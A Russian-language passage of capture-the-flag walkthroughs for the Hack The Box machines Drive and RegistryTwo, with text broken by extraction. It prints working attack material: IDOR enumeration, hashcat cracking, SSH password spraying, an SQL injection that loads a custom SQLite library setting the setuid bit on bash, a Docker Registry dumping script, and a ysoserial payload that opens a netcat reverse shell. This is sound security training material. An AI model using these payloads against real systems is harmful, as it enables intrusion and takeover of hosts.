Мы, как всег да, начина ем с про вер ки сай та, пос коль ку учет ных дан ных от SSH
у нас пока нет.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На стра нице Home есть файл, который в дан ный момент недос тупен.

Дос тупные фай лы

За то на сай те мож но зарегис три ровать ся и авто ризо вать ся. Сде лаем это,
что бы получить дос туп к боль шему чис лу фун кций.

Глав ная стра ница авто ризо ван ного поль зовате ля

Пос ле авто риза ции появи лась воз можность заг ружать фай лы на сер вер.

Фор ма заг рузки фай лов

Пот ратив зна читель ное вре мя на попыт ки заг рузить шелл, я не смог добить ся
резуль татов. Най ден ный файл ничего полез ного не содер жит.

Со дер жимое фай ла

Од нако пос ле заг рузки собс твен ного фай ла появ ляет ся инте рес ная зацеп ка.
Обра ти вни мание на путь к стра нице — . При этом путь

к фай лу адми на — .

/120/getFileDetail/
/100/getFileDetail/

Ре зуль тат заг рузки фай ла

Мож но переб рать все номера и, воз можно, получить дос туп к фай лам дру гих
поль зовате лей (если не реали зова на сис тема кон тро ля дос тупа).

Пе ренап равим зап рос из  в  и ука жем мес то

перебо ра.

Burp Proxy Burp Intruder

Burp Intruder — вклад ка Positions

На вклад ке Payloads нуж но уста новить тип Numbers и ука зать номера
с 1 до 1000 с шагом 1.

Burp Intruder — вклад ка Payloads

Пос ле запус ка ата ки сор тиру ем резуль таты по коду отве та и замеча ем нес- 
коль ко докумен тов, которые воз вра щают ошиб ку 401.

Ре зуль тат перебо ра

Зна чит, кон троль дос тупа к фай лам все же при сутс тву ет.

От вет сер вера

ÒÎ×ÊÀ ÎÏÎÐÛ

В спис ке заг ружен ных фай лов есть еще одна инте рес ная фун кция —
зарезер вировать файл.

Спи сок заг ружен ных фай лов

Ес ли клик нуть по ссыл ке Reserve, нас редирек тит на дру гую стра ницу — 

.

/125/
block/

Стра ница редак тирова ния фай ла

Сно ва переби раем фай лы тем же спо собом. На стра нице  кон тро ля

дос тупа может и не быть.

block

Burp Intruder — вклад ка Positions

Ре зуль тат перебо ра

Филь тру ем резуль тат по коду отве та и видим те же стра ницы, что и рань ше,
одна ко теперь вмес то кода отве та 401 получа ем 200. Зна чит, мы можем
прос матри вать фай лы дру гих поль зовате лей.

От вет сер вера в Render

От кры ваем най ден ные стра ницы через бра узер и ищем инте рес ную
информа цию в фай лах. В одном из фай лов находим пароль, а в дру гом —
сооб щение об устра нении оши бок безопас ности.

Со дер жимое фай ла 79

Со дер жимое фай ла 99

С получен ным паролем авто ризу емся по SSH от име ни поль зовате ля .martin

Сес сия поль зовате ля martin

Продолжение статьи →
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ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ
СОБСТВЕННЫЙ МОДУЛЬ SQLITE

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. Затем пос мотрим, что инте рес ного нашел ска нер.

В спис ке прос лушива емых пор тов — типич ные для служ бы MySQL пор- 
ты 3306 и 3000.

Прос лушива емые пор ты

Есть мно го поль зовате лей, от име ни которых мож но авто ризо вать ся.

Поль зовате ли с кон солью

В катало ге  — нес коль ко бэкапов базы дан ных SQLite./var/www/backups

Най ден ные бэкапы

Ска чива ем обна ружен ные бэкапы на свой хост. Архи вы открыть не получит ся,
так как они все защище ны паролем, зато откро ем файл 
с помощью .

db.sqlite3
DB Browser

Таб лицы в базе дан ных

В таб лице  хра нит ся информа ция о поль зовате лях,
в том чис ле и хеши их паролей.

accounts_customuser

Со дер жимое таб лицы accounts_customuser

Сох раня ем хеши в файл для брут форса с помощью зна мени той ути литы
. Одна ко этой ути лите нуж но ука зать тип хеша в парамет ре . Узнать

соот ветс тву ющий режим мож но, рас парсив справ ку hashcat.
hashcat -m

 |    hashcat --example grep 'sha1\$' -B12 -A1

Справ ка hashcat

По луча ем информа цию о хеше и его типе (Hash mode). Теперь соб ранные
хеши мож но отпра вить на перебор по сло варю .rockyou.txt

hashcat -m 124 hashes.txt rockyou.txt 

Ре зуль тат взло ма хеша

Из всех хешей под дался взло му толь ко один. Его я решил сра зу пос пре ить
по всем поль зовате лям на SSH с помощью .CrackMapExec

crackmapexec ssh drive.htb -u users.txt -p john316 

Од нако пароль не подошел ни к одно му из логинов.

Спрей паролей на SSH

Про буем най ти дру гой путь, к при меру через сер вис на локаль ном пор- 
те 3000. Но сна чала этот порт нуж но проб росить до нашей машины.

ssh martin@drive.htb -L 3000:127.0.0.1:3000 

Те перь весь тра фик, который мы пош лем на локаль ный порт 3000, будет тун- 
нелиро ван на порт 3000 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
SSH-хост. Заходим через бра узер и обна ружи ваем сер вис Gitea.

Глав ная стра ница Gitea

Этот сер вис поз воля ет без регис тра ции прос мотреть пуб личные репози- 
тории и поль зовате лей.

Спи сок поль зовате лей Gitea

Там есть зна комый нам юзер , от име ни которо го мы успешно авто- 
ризу емся. Теперь нам дос тупен репози торий  поль зовате ля

.

martin
DoodleGrive

cris

Дос тупные репози тории

Стра ница репози тория

У репози тория пять ком митов, которые нуж но вни матель но прос мотреть.
В одном из них в скрип те  находим пароль, исполь зован ный
для шиф рования архи вов с бэкапа ми.

db_backup.sh

Ис ходный код db_backup.sh

Из вле каем из всех архи вов базы, извле каем из них новые пароли и отправ- 
ляем на брут, как это делали в прош лый раз. Таким обра зом получа ем
еще три новых пароля.

hashcat -m 124 hashes.txt rockyou.txt 

Ре зуль тат взло ма хешей

Те перь есть нес коль ко логинов и паролей, ком бинации которых нуж но переб- 
рать.

crackmapexec ssh drive.htb -u users.txt -p pass.txt 

Ре зуль тат бру та поль зовате лей

Ког да най дем валид ную пару учет ных дан ных, авто ризу емся на хос те
и заберем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

В домаш нем катало ге поль зовате ля при сутс тву ет при ложе ние 

 с уста нов ленным S-битом.

doodleGrive-
cli

Со дер жимое домаш него катало га поль зовате лей

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

То есть если мы най дем уяз вимость в бинаре, то смо жем пол ностью зах- 
ватить сер вер. Ска чива ем файл на локаль ный хост через SSH для ана лиза.
Откры ваем в любом удоб ном дизас сем бле ре с деком пилято ром, я исполь зую
IDA Pro.

scp tom@drive.htb:~/doodleGrive-cli ./ 

При запус ке фай ла счи тыва ем имя поль зовате ля и пароль, про пус каем их
через фун кцию  и срав нива ем со ста тичес ки ука зан ными
учет ными дан ными (стро ка 28). Если вве ден ные учет ные дан ные вер ны,
вызыва ется фун кция .

sanitize_string

main_menu

Де ком пилиро ван ный код фун кции main

Фун кция  прос то филь тру ет сим волы, ука зан ные в стро- 

ке 14.

sanitize_string

Де ком пилиро ван ный код фун кции sanitize_string

Фун кция  пред лага ет поль зовате лю выб рать опцию. В дан ном слу- 

чае инс трук ция в стро ке 31, лома ющая код, пред став ляет собой опе ратор
. Это ста новит ся понят но, если перей ти от деком пилято ра

к дизас сем бле ру и акти виро вать режим гра фа.

main_menu

switch-case

Де ком пилиро ван ный код фун кции main_menu

Фун кция main_menu в виде гра фа

Фун кции в каж дом бло ке мож но сно ва прос матри вать в деком пилято ре. Пер- 
вые четыре инте реса не пред став ляют, а вот фун кцию

 луч ше изу чить тща тель нее.activate_user_account
Эта фун кция зап рашива ет имя поль зовате ля, про пус кает через

, а потом исполь зует в зап росе к базе дан ных SQLite.sanitize_string

Де ком пилиро ван ный код фун кции sanitize_string

Так как никаких филь тров, кро ме фун кции , не исполь зует ся,

сле дующий зап рос уяз вим к SQL-инъ екции.

sanitize_string

     UPDATE accounts_customuser SET is_active=1 WHERE username="%s";

В дан ном слу чае есть воз можность добить ся выпол нения кода в рам ках
запущен ного про цес са через заг рузку собс твен ного модуля SQLite. Сде лать
это мы можем при помощи фун кции .load_extension

Для это го на ско рую руку смас терим биб лиоте ку, которая будет содер жать
фун кцию с име нем , где  — имя самой биб лиоте ки.

Код в нашей биб лиоте ке уста новит S-бит фай лу коман дной обо лоч ки 

.

sqlite3_NAME_init NAME
/bin/

bash

#include <stdlib.h>
#include <unistd.h>

  void sqlite3_r_init() {
  setuid(0);
  setgid(0);
  system("/usr/bin/chmod +s /bin/bash");
}

Ском пилиру ем биб лиоте ку и сох раним с име нем .r

gcc  r.c  -shared -o r.so -nostartfiles -fPIC

Ос талась еще одна слож ная часть — внед рить в зап рос фун кцию
. Для это го сна чала зак роем двой ную кавыч ку, затем

вызовем целевую фун кцию с соз данным модулем 

и сно ва откро ем кавыч ки. Толь ко фун кция  отфиль тру ет

сим вол , поэто му нам нуж но избе жать исполь зования стро ки . В этом
нам помогут воз можнос ти базы SQLite: к при меру, можем соб рать стро ку
из кодов сим волов.

load_extension
load_extension("./r")

sanitize_string
/ "./r"

По луче ние кодов сим волов

В ито ге для заг рузки модуля через SQL-инъ екцию нуж но в качес тве име ни
поль зовате ля ука зать вот такую стро ку:

"+load_extension(char(46,47,114))+" 

Экс плу ата ция уяз вимос ти

При про вер ке фай ла  видим уста нов ленный S-бит. А зна чит, мож но
запус тить новый шелл от име ни рута.

/bin/bash

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://sqlitebrowser.org/
https://github.com/byt3bl33d3r/CrackMapExec
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ВЗЛОМ

В этом рай тапе я покажу экс плу ата цию нес- 
коль ких уяз вимос тей в Java RMI, но сна чала
про ведем ата ку на Docker Registry, которая
поз волит нам получить дос туп к фай лам
сай та.

На ша цель — зах ват учет ной записи супер поль зовате ля на машине
RegistryTwo с учеб ной пло щад ки . Уро вень ее слож ности —
«безум ный».

Hack The Box

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.223    registrytwo.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел четыре откры тых пор та:
22 — служ ба OpenSSH 7.6p1;•
443 — веб-сер вер Nginx 1.14.0;•
5000 — сер вис Docker Registry;•
5001 — сер вис аутен тифика ции Docker Registry.•

В SSL-сер тифика тах на веб-сер вере наш лось нес коль ко имен DNS, которые
мы тоже добав ляем в файл ./etc/hosts

10.10.11.223 registrytwo.htb webhosting.htb www.webhosting.htb 

Глав ная стра ница сай та www.webhosting.htb

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


ЭКСПЛУАТИРУЕМ УЯЗВИМОСТИ
JAVA RMI ДЛЯ ПОЛНОГО ЗАХВАТА

ХОСТА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÂÕÎÄÀ

Пе рехо дим к про вер ке Docker Registry и дела ем зап рос к API ./v2/_catalog

curl  -k -s https://webhosting.htb:5000/v2/_catalog | jq 

От вет сер вера

Вы ходит, нам нуж но аутен тифици ровать ся на сер вере. Поэто му обра тим ся
к пор ту 5001 для получе ния токена.

curl  -k -s https://webhosting.htb:5001/auth | jq 

По луче ние токена дос тупа

Про веря ем получен ный токен с помощью .jwt_tool

python3 jwt_tool.py eyJ0eXAiOiJKV1Q... 

Ин форма ция о токене

Нас инте ресу ет поле , так как оно содер жит текущие раз решения.

В дан ном слу чае оно пус тое. Сно ва выпол ним зап рос к API, но прос мотрим
и HTTP-заголов ки зап роса и отве та.

access

curl  -k -s https://webhosting.htb:5000/v2/_catalog -v | jq 

От вет сер вера

В заголов ке  видим парамет ры, необ ходимые для зап роса
токена. Зап росим новый токен, учтя получен ные парамет ры.

www-authenticate

curl   -k -s 'https://webhosting.htb:5001/
auth?service=Docker%20registry&scope=registry:catalog:*' | jq 

По луче ние токена

python3 jwt_tool.py eyJ0eXAiOiJKV1Q.... 

Ин форма ция о токене

В новом токене появи лись при виле гии для дос тупа к катало гу. Теперь мы
можем передать этот токен в зап росе к API и получить спи сок репози тори ев.

curl   -k -s https://webhosting.htb:5000/v2/_catalog -H
'Authorization: Bearer eyJ0eXAi...' | jq 

Спи сок репози тори ев

Для авто мати зации работы с репози тори ями мож но исполь зовать
. Но есть проб лема: скрипт при нима ет логин

и пароль для авто риза ции на сер вере, а мы зна ем толь ко токен. Поэто му я
нем ного модифи циро вал скрипт, что бы он в качес тве учет ных дан ных при- 
нимал токен дос тупа.

DockerRegistryGrabber

#!/usr/bin/env python3

 import requests
 import argparse
 import re
 import json
 import sys
 import os

   from base64 import b64encode
 import urllib3

   from rich.console import Console
   from rich.theme import Theme
   from requests.packages.urllib3.exceptions import

InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

  req = requests.Session()

  http_proxy = ""
  os.environ['HTTP_PROXY'] = http_proxy
  os.environ['HTTPS_PROXY'] = http_proxy

  custom_theme = Theme({
   "OK": "bright_green",
   "NOK": "red3"
})

 def manageArgs():
    parser = argparse.ArgumentParser()
   parser.add_argument("url", help="URL")
      

 
parser.add_argument("-p", dest='port', metavar='port', type=int,

default=5000, help="port to use (default : 5000)")
    auth = parser.add_argument_group("Authentication")
      auth.add_argument('-T', dest='token', type=str, default="", help=
'Token')

    action = parser.add_mutually_exclusive_group()
     

  
action.add_argument("--dump", metavar="DOCKERNAME", dest='dump',

type=str, help="DockerName")
    action.add_argument("--list", dest='list', action="store_true")
  action.add_argument("--dump_all",dest='dump_all',action=
"store_true")
    args = parser.parse_args()
   return args

 def printList(dockerlist):
     for element in dockerlist:

       if element:
           console.print(f"[+] {element}", style="OK")

      else:
           console.print(f"[-] No Docker found", style="NOK")

  def tryReq(url, token=None):
  try:

       if token:
    

  
          r = req.get(url,verify=False, headers={'Authorization':
'Bearer ' + token})
          r.raise_for_status()
      else:

            r = req.get(url,verify=False)
          r.raise_for_status()
     except requests.exceptions.HTTPError as errh:

       console.print(f"Http Error: {errh}", style="NOK")
      sys.exit(1)
     except requests.exceptions.ConnectionError as errc:

       console.print(f"Error Connecting : {errc}", style="NOK")
      sys.exit(1)
     except requests.exceptions.Timeout as errt:

       console.print(f"Timeout Error : {errt}", style="NOK")
      sys.exit(1)
     except requests.exceptions.RequestException as err:

 
      console.print(f"Dunno what happend but something fucked up {
err}", style="NOK")
      sys.exit(1)
   return r

 def createDir(directoryName):
    if not os.path.exists(directoryName):
      os.makedirs(directoryName)

     def downloadSha(url, port, docker, sha256, token=None):
  createDir(docker)
    directory = f"./{docker}/"
     for sha in sha256:

        filenamesha = f"{sha}.tar.gz"
        geturl = f"{url}:{str(port)}/v2/{docker}/blobs/sha256:{sha}"

        r = tryReq(geturl,token)
         if r.status_code == 200:

           console.print(f"    [+] Downloading : {sha}", style="OK")
              with open(directory+filenamesha, 'wb') as out:

                 for bits in r.iter_content():
                  out.write(bits)

    def getBlob(docker, url, port, token=None):
    tags = f"{url}:{str(port)}/v2/{docker}/tags/list"
    rr = tryReq(tags,token)
    data = rr.json()
    image = data["tags"][0]
    url = f"{url}:{str(port)}/v2/{docker}/manifests/"+image+""
    r = tryReq(url,token)
    blobSum = []
     if r.status_code == 200:

        regex = re.compile('blobSum')
         for aa in r.text.splitlines():

            match = regex.search(aa)
           if match:

              blobSum.append(aa)
         if not blobSum :

           console.print(f"[-] No blobSum found", style="NOK")
          sys.exit(1)

       else :
            sha256 = []

            cpt = 1
             for sha in blobSum:

                console.print(f"[+] BlobSum found {cpt}", end='\r',
style="OK")

                cpt += 1
                a = re.split(':|,',sha)

              sha256.append(a[2].strip("""))
          print()
          return sha256

def enumList(url, port, token=None,checklist=None):
  url = f"{url}:{str(port)}/v2/_catalog"
  try :
      r = tryReq(url,token)
      if r.status_code == 200:
          catalog2 = re.split(':|,|\n ',r.text)
          catalog3 = []
          for docker in catalog2:
              dockername = docker.strip("['"\n]}{")
              catalog3.append(dockername)
      printList(catalog3[1:])
      return catalog3
  except:
      exit()

def dump(args):
  sha256 = getBlob(args.dump, args.url, args.port, args.token)
  console.print(f"[+] Dumping {args.dump}", style="OK")
  downloadSha(args.url, args.port, args.dump, sha256, args.token)

def dumpAll(args):
  dockerlist = enumList(args.url, args.port, args.token)
  for docker in dockerlist[1:]:
      sha256 = getBlob(docker, args.url, args.port, args.token)
      console.print(f"[+] Dumping {docker}", style="OK")
      downloadSha(args.url, args.port,docker,sha256,args.token)

def options():
  args = manageArgs()
  if args.list:
      enumList(args.url, args.port,args.token)
  elif args.dump_all:
      dumpAll(args)
  elif args.dump:
      dump(args)

if __name__ == '__main__':
  print(f"[+]======================================================[
+]")
  print(f"[|]    Docker Registry Grabber v1       @SyzikSecu       [
|]")
  print(f"[+]======================================================[
+]")
  print()
  urllib3.disable_warnings()
  console = Console(theme=custom_theme)
  options()

То кен переда ем в парамет ре , а для про вер ки получим спи сок репози тори- 

ев. В этом нам поможет параметр .

-T
--list

python3 DockerGraber_token.py --list https://webhosting.htb -T 
eyJ0eXAi... 

Спи сок репози тори ев

Те перь сдам пим весь репози торий на свой хост, для чего переда ем наз вание
репози тория в парамет ре .--dump

python3 DockerGraber_token.py --dump hosting-app https://webhosting.
htb -T eyJ0eXA 

Дамп репози тория

По луча ем сооб щение об ошиб ке, так как у это го токена нет раз решений
на дамп репози тори ев. Нуж но зап росить новый токен, для чего сно ва обра- 
щаем ся к API  и получа ем парамет ры из HTTP-
заголов ка.

/v2/hosting-app/tags/list

curl  -k -s https://webhosting.htb:5000/v2/hosting-app/tags/list -v | 
jq 

От вет сер вера

curl   -k -s 'https://webhosting.htb:5001/
auth?service=Docker%20registry&scope=repository:hosting-app:pull' | 
jq 

Зап рос токена

python3jwt_tool.py eyJ0eXAiOiJKV1Q.... 

Пов торно дам пим репози торий  с новым токеном, на этот раз
успешно.

hosting-app

python3 DockerGraber_token.py --dump hosting-app https://webhosting.
htb -T eyJ0eXAiOiJKV1Q... 

Дамп репози тория

Пос ле заг рузки всех архи вов перехо дим к ана лизу фай лов. Их у нас теперь
очень мно го, поэто му нуж но опре делить, что из это го будет нам полез но.

Продолжение статьи →

https://github.com/ticarpi/jwt_tool
https://github.com/Syzik/DockerRegistryGrabber
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В самом пер вом архи ве ( ) находим файл 

с паролем для MySQL. Он может при годить ся.

0bf45c...79d0ba hosting.ini

Со дер жимое фай ла hosting.ini

А вот в архи ве  лежит весь каталог Apache Tomcat, что дает

нам дос туп к исходно му коду сай та.

4a19a0...82ac42

Со дер жимое катало га tomcat

Боль ше все го нас инте ресу ет каталог , содер жащий исходни ки

работа ющих на сер вере веб-при ложе ний, где и находим модуль .

webapps
hosting

Со дер жимое катало га hosting

Те перь мож но перей ти к ана лизу самого сай та.

Apache Tomcat — path traversal
Ре гис три руем ся и авто ризу емся на сай те, что бы получить дос туп ко всем воз- 
можнос тям.

Глав ная стра ница авто ризо ван ного поль зовате ля

При тес тирова нии сай тов на Tomcat всег да сто ит про верять, нет ли уяз вимос- 
ти обхо да катало га.

https://www.webhosting.htb/hosting/..;/examples/ 

Ре зуль тат про вер ки пути

Мы узна ли, что уяз вимость есть, поэто му сра зу перей дем к стра нице
.Servlets examples

Стра ница Servlets examples

Эта стра ница откры вает богатей шие воз можнос ти для манипу лиро вания дан- 
ными сес сий и даже сай та.

Приш ло вре мя перей ти к ана лизу кода обна ружен ного ранее модуля. Так
как это при ложе ние на Java, для его ревер са я буду исполь зовать .Recaf

В клас се  видим, что поль зователь может быть

менед жером, за что отве чает атри бут сес сии 
(стро ки 43–45).

AuthenticationServlets
s_IsLoggedInUserRoleManager

Де ком пилиро ван ный код клас са AuthenticationServlets

Су дя по клас су , мож но делать нас трой ки. Дос туп

к этим фун кци ям име ет как раз поль зователь с ролью менед жера (стро ки 42–
46).

ConfigurationServlet

Де ком пилиро ван ный код клас са CongurationServlet

Один из сер вле тов Tomcat поз воля ет манипу лиро вать атри бута ми сес сий.
Давай акти виру ем роль менед жера, для чего атри буту

 уста новим зна чение .s_IsLoggedInUserRoleManager true

https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/
SessionExample 

Стра ница сер вле та SessionExample

Ус танов ленные атри буты сес сии

RCE ÷åðåç Java RMI
Те перь мож но перей ти к новой стра нице  и отпра вить
зап рос на сох ранение изме нений. Это нуж но, что бы получить парамет ры зап- 
роса и най ти эту фун кцию в исходни ках при ложе ния.

/hosting/reconfigure

Стра ница /recongure

Зап рос для сох ранения изме нений

На прош лом скрин шоте исходно го кода клас са  нас

инте ресу ет обра бот чик  (стро ки 28–38). В зависи мос ти от получен ных
парамет ров управле ние даль ше переда ется раз ным обра бот чикам. Так,
парамет ры  и  упо мина ются толь ко

в клас се  (стро ки 49–62).

ConfigurationServlet
doPost

domains.max domains.start-template
DomainServlet

Ис ходный код клас са DomainServlet

При этом в стро ках 59 и 60 вызыва ется метод  клас са .
В коде это го метода так же отыс кался параметр , который в зап росе

не переда вал ся.

get RMIClientWrapper
rmi.host

Ис ходный код клас са RMIClientWrapper

Ви димо, если мы отпра вим адрес хос та в парамет ре , сер вер
выпол нит зап рос по это му адре су. В коде видим филь тр, который про веря ет,
окан чива ется ли адрес подс тро кой . Этот филь тр мы можем обой ти,

исполь зуя нулевой байт . Запус каем лис тенер ( ) и выпол- 
няем зап рос.

rmi.host

.htb
%00 nc -nlvp 9002

Зап рос на сер вер

Ло ги лис тенера

И момен таль но в окне лис тенера видим вхо дящий зап рос RMI.
 — это механизм, который поз воля ет вызывать метод уда лен- 

ного объ екта, даже на дру гом сер вере. В некото рых вари антах такое под клю- 
чение может при вес ти даже к RCE, так как переда ются и выпол няют ся сери- 
али зован ные дан ные.

Java RMI

Поп робу ем исполь зовать . Для это го запус каем
 в режиме лис тенера, который при мет зап рос и вер нет наг рузку,

выпол няющую реверс-шелл. Так же запус каем лис тенер (

), что бы при нимать соеди нение от реверс-шел ла.

го товый экс пло ит
ysoserial

rlwrap nc -nlpv 
4321

/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar 
ysoserial.exploit.JRMPListener 9002 CommonsCollections6 'nc 10.10.16.
29 4321 -e /bin/bash'

Ког да все готово, пов торя ем зап рос в  и получа ем сна чала
зап рос RMI, а затем и бэк коннект.

Burp Repeater

Ло ги ysoserial

Сес сия поль зовате ля app

Продолжение статьи →

https://github.com/Col-E/Recaf
https://github.com/frohoff/ysoserial/issues/171
https://github.com/frohoff/ysoserial
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Су дя по огра ниче ниям коман дной обо лоч ки, мы попали в кон тей нер Docker.
Так как на хос те работа ет Java RMI, экс плу ата ция уяз вимос тей в этом
механиз ме — наибо лее веро ятный путь для прод вижения. Сре ди откры тых
пор тов видим 9002.

netstat -tulpan

Прос лушива емые пор ты

Для дос тупа к пор ту нуж но сде лать тун нель, к при меру с помощью .

На сво ем хос те запус каем режим сер вера, ожи дающий под клю чения к пор- 
ту 5432.

chisel

./chisel.bin server -p 5432 --reverse

На уда лен ном хос те — режим кли ента, которо му ука зыва ем адрес для под- 
клю чения, а так же нас трой ку тун неля socks.

./chisel.bin client 10.10.16.29:5432 R:127.0.0.1:socks 

В логах сер вера мы дол жны уви деть соз данную сес сию.

Ло ги сер вера chisel

Для иссле дова ния RMI-при ложе ний я исполь зую инс тру мент 

. Для пер вой про вер ки зада ем опцию , а что бы нап- 

равить тра фик в соз данный тун нель, в конец фай ла 
добав ляем запись .

remote-

method-guesser enum
/etc/proxychains.conf

socks5 127.0.0.1 1080

proxychains -q /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar rmg-
4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002 

Ре зуль тат про вер ки RMI

Нам дос тупны два клас са:  и . О пер вом ска- 

зать нечего, а вот  уже при сутс тво вал в иссле дован ном ранее

при ложе нии.

QuarantineService FileService
FileService

Ис ходный код интерфей са FileService

Ин терфейс содер жит мно го методов, ско рее все го, для работы с фай ловой
сис темой. Поп робу ем най ти вызовы метода , видимо, отоб ража юще го
содер жимое передан ного катало га (стро ка 18).

list

Ис ходный код клас са FileUtil

Пе рехо дим к слож ной час ти. Нуж но будет написать свое при ложе ние, исполь- 
зующее тот же интерфейс, при этом нуж но под клю чать ся к RMI и вызывать
метод  на уда лен ном хос те. В качес тве сре ды раз работ ки я буду исполь- 
зовать .

list
Intellij IDEA

Рас паку ем получен ное при ложе ние, уда лим из него файл клас са
 и соз дадим новый про ект со сво ей реали заци ей. Копиру- 

ем ста рый код, в методе  явно ука зыва ем адрес сер вера, а так же добав- 
ляем фун кцию , получа ющую спи сок фай лов.

RMIClientWrapper
get

main

   public class RMIClientWrapper {
        private static final Logger log = Logger.getLogger(
RMIClientWrapper.class.getSimpleName());

      public static FileService get() {
       try {

             String rmiHost = "registry.webhosting.htb";
           System.setProperty("java.rmi.server.hostname", rmiHost);

 
          System.setProperty("com.sun.management.jmxremote.rmi.port"
, "9002");

              Registry registry = LocateRegistry.getRegistry(rmiHost,
9002);

           return (FileService)registry.lookup("FileService");
          } catch (Exception e) {

          e.printStackTrace();
            throw new RuntimeException(e);

      }
  }

       public static void main(String args[]) {
       try {

             String dir = "/";
              List<AbstractFile> files = get().list("950ba61ab119", dir)

;

          System.out.println("=================================");
            System.out.println("Listing: " + dir);

                for( AbstractFile file : files ) {
                System.out.println( file.getAbsolutePath() );

          }
          System.out.println("=================================");

          } catch (RemoteException e) {
          e.printStackTrace();
      };
  }
}

Для работы это го кода добав ляем в наш файл реали зацию дру гих зат ронутых
клас сов и методов. Импорты сре да раз работ ки под тянет авто мати чес ки.

    class AbstractFile implements Serializable {
        private static final long serialVersionUID = 2267537178761464006L;
     private final String fileRef;
     private final String vhostId;
     private final String displayName;
     private final File file;
     private final String absolutePath;
     private final String relativePath;
     private final boolean isFile;
     private final boolean isDirectory;
     private final long displaySize;
     private final String displayPermission;
     private final long displayModified;
     private final AbstractFile parentFile;

     public boolean isFile() {
       return this.isFile;

  }

     public String getName() {
       return this.file.getName();

  }

     public boolean canExecute() {
       return this.getFile().canExecute();

  }

     public boolean exists() {
         return this.isFile || this.isDirectory;

  }

        
       

       

public AbstractFile(String fileRef, String vhostId, String
displayName, File file, String absolutePath, String relativePath,
boolean isFile, boolean isDirectory, long displaySize, String
displayPerm

     ission, long displayModified, AbstractFile parentFile) {
        this.fileRef = fileRef;
        this.vhostId = vhostId;

        this.displayName = displayName;
        this.file = file;

        this.absolutePath = absolutePath;
        this.relativePath = relativePath;

        this.isFile = isFile;
        this.isDirectory = isDirectory;
        this.displaySize = displaySize;

        this.displayPermission = displayPermission;
        this.displayModified = displayModified;

        this.parentFile = parentFile;
  }

     public String getFileRef() {
       return this.fileRef;

  }

     public String getVhostId() {
       return this.vhostId;

  }

     public String getDisplayName() {
       return this.displayName;

  }

     public File getFile() {
       return this.file;

  }

     public String getAbsolutePath() {
       return this.absolutePath;

  }

     public String getRelativePath() {
       return this.relativePath;

  }

     public boolean isDirectory() {
       return this.isDirectory;

  }

     public long getDisplaySize() {
       return this.displaySize;

  }

     public String getDisplayPermission() {
       return this.displayPermission;

  }

     public long getDisplayModified() {
       return this.displayModified;

  }

     public AbstractFile getParentFile() {
       return this.parentFile;

  }
}

    interface FileService extends Remote {
         public List<AbstractFile> list(String var1, String var2) throws
RemoteException;

          
 

public boolean uploadFile(String var1, String var2, byte[] var3)
throws IOException;

       public boolean delete(String var1) throws RemoteException;

         public boolean createDirectory(String var1, String var2) throws
RemoteException;

         public byte[] view(String var1, String var2) throws IOException;

         public AbstractFile getFile(String var1, String var2) throws
RemoteException;

       public AbstractFile getFile(String var1) throws RemoteException;

       public void deleteDomain(String var1) throws RemoteException;

       public boolean newDomain(String var1) throws RemoteException;

       public byte[] view(String var1) throws RemoteException;
}

Те перь перехо дим к фун кции  и рядом с ее опре деле нием нажима ем

кно поч ку запус ка при ложе ния.

main

Ре али зация клас са RMIClientWrapper

Ошиб ка при запус ке при ложе ния

Но при запус ке видим ошиб ку соеди нения, так как при ложе ние не может
получить дос туп к пор ту в обход тун неля. Давай прос то ско пиру ем стро ку
запус ка и запус тим прог рамму в кон соли, но уже через .proxychains

Ре зуль тат работы при ложе ния

И получа ем содер жимое катало га при ложе ния! Теперь мы можем прос матри- 
